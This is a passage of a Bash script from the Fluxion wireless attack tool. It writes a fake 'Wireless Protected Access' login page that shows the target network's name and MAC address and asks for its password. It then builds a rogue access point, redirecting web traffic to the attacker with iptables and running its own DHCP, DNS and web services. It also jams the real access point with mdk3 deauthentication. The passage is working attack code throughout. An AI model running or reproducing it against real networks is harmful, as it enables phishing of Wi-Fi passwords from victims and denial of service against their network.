<title>Wireless Protected Access: Login</title>
|
|
|
|
<!-- Styles -->
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/>
|
|
<link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/>
|
|
|
|
<!-- Scripts -->
|
|
<script src=\"js/jquery-1.11.1.min.js\"></script>
|
|
<script src=\"js/jquery.mobile-1.4.5.min.js\"></script>
|
|
<script src=\"js/jquery.validate.min.js\"></script>
|
|
<script src=\"js/additional-methods.min.js\"></script>
|
|
</head>
|
|
<body>
|
|
<!-- Main page -->
|
|
<div data-role=\"page\" data-theme=\"a\">
|
|
<div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\">
|
|
<fieldset>
|
|
<form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\">
|
|
</br>
|
|
<div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\">
|
|
<div><u>$APTargetSSID</u> ($APTargetMAC)</div>
|
|
<!--<div>Channel: $APTargetChannel</div>-->
|
|
</div>
|
|
<div style=\"text-align:center;\">
|
|
<br>
|
|
<label>$DIALOG_WEB_INFO</label>
|
|
<br>
|
|
</div>
|
|
<div class=\"ui-field-contain\">
|
|
<label for=\"key1\">$DIALOG_WEB_INPUT</label>
|
|
<input id=\"key1\" style=\"color:#333; background-color:#CCC\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/>
|
|
</div>
|
|
<input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/>
|
|
</form>
|
|
</fieldset>
|
|
</div>
|
|
</div>
|
|
|
|
<script src=\"js/main.js\"></script>
|
|
|
|
<script>
|
|
$.extend( $.validator.messages, {
|
|
required: \"$DIALOG_WEB_ERROR_MSG\",
|
|
maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ),
|
|
minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )
|
|
});
|
|
</script>
|
|
</body>
|
|
</html>" > "$FLUXIONWorkspacePath/captive_portal/index.html"
|
|
}
|
|
|
|
function captive_portal_unset_routes() {
|
|
if [ -f "$FLUXIONWorkspacePath/iptables-rules" ];then
|
|
iptables-restore < "$FLUXIONWorkspacePath/iptables-rules" &> $FLUXIONOutputDevice
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/iptables-rules"
|
|
else
|
|
iptables --flush
|
|
iptables --table nat --flush
|
|
iptables --delete-chain
|
|
iptables --table nat --delete-chain
|
|
fi
|
|
|
|
# Restore system's original forwarding state
|
|
if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then
|
|
sysctl -w net.ipv4.ip_forward=$(cat "$FLUXIONWorkspacePath/ip_forward") &> $FLUXIONOutputDevice
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward"
|
|
fi
|
|
|
|
ip addr del $VIGWAddress/24 dev $VIGW 2> /dev/null
|
|
}
|
|
|
|
# Set up DHCP / WEB server
|
|
# Set up DHCP / WEB server
|
|
function captive_portal_set_routes() {
|
|
# Give an address to the gateway interface in the rogue network.
|
|
# This makes the interface accessible from the rogue network.
|
|
ip addr add $VIGWAddress/24 dev $VIGW
|
|
|
|
# Save the system's routing state to restore later.
|
|
cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward"
|
|
|
|
# Activate system IPV4 packet routing/forwarding.
|
|
sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice
|
|
|
|
iptables-save > "$FLUXIONWorkspacePath/iptables-rules"
|
|
|
|
iptables --flush
|
|
iptables --table nat --flush
|
|
iptables --delete-chain
|
|
iptables --table nat --delete-chain
|
|
iptables -P FORWARD ACCEPT
|
|
|
|
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $VIGWAddress:80
|
|
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $VIGWAddress:443
|
|
iptables -A INPUT -p tcp --sport 443 -j ACCEPT
|
|
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
|
iptables -t nat -A POSTROUTING -j MASQUERADE
|
|
}
|
|
|
|
function captive_portal_stop_interface() {
|
|
captive_portal_unset_routes
|
|
|
|
if [ "$APRogueService" ]
|
|
then ap_stop
|
|
fi
|
|
}
|
|
|
|
function captive_portal_start_interface() {
|
|
if [ "$APRogueService" ]; then
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice"
|
|
ap_start
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine Configuration for external access point device:"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APRogueSSID" "OPEN" "$APTargetChannel" "$APRogueMAC" "$APTargetMaker"
|
|
|
|
echo -e "$FLUXIONVLine IPv4 Address: ${VIGWAddress%.*}.2/24"
|
|
echo -e "$FLUXIONVLine IPv6 Address: Disabled"
|
|
echo -e "$FLUXIONVLine DHCP Server: $VIGWAddress"
|
|
echo -e "$FLUXIONVLine DNS Server: $VIGWAddress"
|
|
echo
|
|
|
|
echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}"
|
|
read -n1 -p "Press any key to continue... " bullshit
|
|
fi
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice"
|
|
captive_portal_set_routes &
|
|
sleep 3
|
|
|
|
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
|
|
}
|
|
|
|
function unprep_attack() {
|
|
CaptivePortalState="Not Ready"
|
|
captive_portal_unset_attack
|
|
captive_portal_unset_site
|
|
captive_portal_unset_cert
|
|
captive_portal_unset_auth
|
|
captive_portal_unset_interface
|
|
}
|
|
|
|
function prep_attack() {
|
|
while true; do
|
|
captive_portal_set_interface; if [ $? -ne 0 ]; then break; fi
|
|
captive_portal_set_auth; if [ $? -ne 0 ]; then continue; fi
|
|
captive_portal_set_cert; if [ $? -ne 0 ]; then continue; fi
|
|
captive_portal_set_site; if [ $? -ne 0 ]; then continue; fi
|
|
captive_portal_set_attack; if [ $? -ne 0 ]; then continue; fi
|
|
CaptivePortalState="Ready"
|
|
break
|
|
done
|
|
|
|
# Check for prep abortion.
|
|
if [ "$CaptivePortalState" = "Not Ready" ]; then
|
|
unprep_attack
|
|
return 1;
|
|
fi
|
|
}
|
|
|
|
function stop_attack() {
|
|
# Attempt to find PIDs of any running authenticators.
|
|
local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}')
|
|
|
|
# Signal any authenticator to stop authentication loop.
|
|
if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi
|
|
|
|
killall mdk3 &> $FLUXIONOutputDevice
|
|
local FLUXIONJammer=$(ps a | grep -e "FLUXION AP Jammer" | awk '{print $1'})
|
|
if [ "$FLUXIONJammer" ]
|
|
then kill $FLUXIONJammer &> $FLUXIONOutputDevice
|
|
fi
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
|
|
|
# Kill captive portal web server.
|
|
if [ $CaptivePortalServerPID ]; then
|
|
kill $CaptivePortalServerPID &> $FLUXIONOutputDevice
|
|
CaptivePortalServerPID=""
|
|
fi
|
|
|
|
# Kill python DNS service if one is found.
|
|
local FLUXIONDNS=$(ps a | grep -e "FLUXION AP DNS" | awk '{print $1'})
|
|
if [ "$FLUXIONDNS" ]
|
|
then kill $FLUXIONDNS &> $FLUXIONOutputDevice
|
|
fi
|
|
|
|
# Kill DHCP service.
|
|
local FLUXIONDHCP=$(ps a | grep -e "FLUXION AP DHCP" | awk '{print $1'})
|
|
if [ "$FLUXIONDHCP" ]
|
|
then kill $FLUXIONDHCP &> $FLUXIONOutputDevice
|
|
fi
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt"
|
|
|
|
captive_portal_stop_interface
|
|
}
|
|
|
|
function start_attack() {
|
|
if [ "$CaptivePortalState" = "Running" ]; then return 0; fi
|
|
|
|
stop_attack
|
|
|
|
captive_portal_start_interface
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
|
|
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" &
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
|
|
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" &
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
|
|
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
|
|
CaptivePortalServerPID=$!
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
|
|
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
|
|
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
|
|
|
|
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
|
|
xterm -hold $TOPRIGHT -bg "#000000" -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
|
|
}
|
|
|
|
# FLUXSCRIPT END
|